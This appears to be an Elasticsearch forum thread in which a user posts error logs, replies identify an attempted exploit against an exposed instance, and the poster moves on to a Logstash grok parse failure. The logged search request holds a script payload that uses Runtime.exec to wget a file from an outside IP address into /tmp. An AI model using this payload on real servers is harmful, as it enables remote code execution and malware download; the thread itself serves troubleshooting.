Elasticsearch failed to execute on node

Elastic Stack Elasticsearch
1

Hi all,
I am getting a "failed to execute on node". In elasticsearch log file its showing below error....

org.elasticsearch.transport.NodeDisconnectedException: [Clearcut][inet[/10.129.52.27:9301]][indices:monitor/stats[s]] disconnected
[2015-11-13 01:00:17,651][DEBUG][action.admin.indices.stats] [May Parker] [logstash-2015.11.04][2], node[TBNd6XIrTHqje7vD9qk2tA], [R], s[STARTED]: failed to execute [org.elasticsearch.action.admin.indices.stats.IndicesStatsRequest@15f97fb]...

[2015-11-13 04:00:09,902][DEBUG][action.search.type ] [Kick-Ass] [logstash-2015.11.13][4], node[dbanrtu1QVSj-soqfYn4vg], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@30ec26aa]

org.elasticsearch.search.SearchParseException: [logstash-2015.11.13][4]: query[ConstantScore(:)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.;import java.io.;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/04 http://111.74.239.61:8080/04").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("\r\n");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

Thanks,
Shravan K.

2

I'm curious: Are you trying to enrich results by fetching another content from a webservice?

I guess your query is incorrect. Could you parse it with a Json formatter and if correct paste it here?

3

Or is this ES instance wide open to the world and someone's trying to exploit it in some way. I wonder if the problem is that the backslashes in the \r\n sequence aren't escaped.

4

Looks like the script is trying to download some payload hosted on a
Chinese server. I would agree with Magnus that this is an exploit.

5

Hi Ivan,

Yes in log file its showing some Chinese symbols.. for that am changed the pattern in logstash conf file.

Now its loading the data into elasticsearch but showing in Kibana..

November 23rd 2015, 08:07:58.377message:20-Nov-2015 03:00:15.697 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8443"]@version:1@timestamp:November 23rd 2015, 08:07:58.377host:ip-10-129-52-27.ap-southeast-1.compute.internalpath:/usr/share/apache-tomcat-8.0.23/logs/catalina.outtype:tomcatlogstags:_grokparsefailure_id:AVEzYpqk4VOmnknC2AOR_type:tomcatlogs_index:logstash-2015.11.23 November 23rd 2015, 08:07:58.377message:23-Nov-2015 01:10:34.020 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-8080"]@version:1@timestamp:November 23rd 2015, 08:07:58.377host:ip-10-129-52-27.ap-southeast-1.compute.internalpath:/usr/share/apache-tomcat-8.0.23/logs/catalina.outtype:tomcatlogstags:_grokparsefailure_id:AVEzYpqk4VOmnknC2AOW_type:tomcatlogs_index:logstash-2015.11.23

In kibana its showing tags:_grokparsefailure means? that grok filter is failed..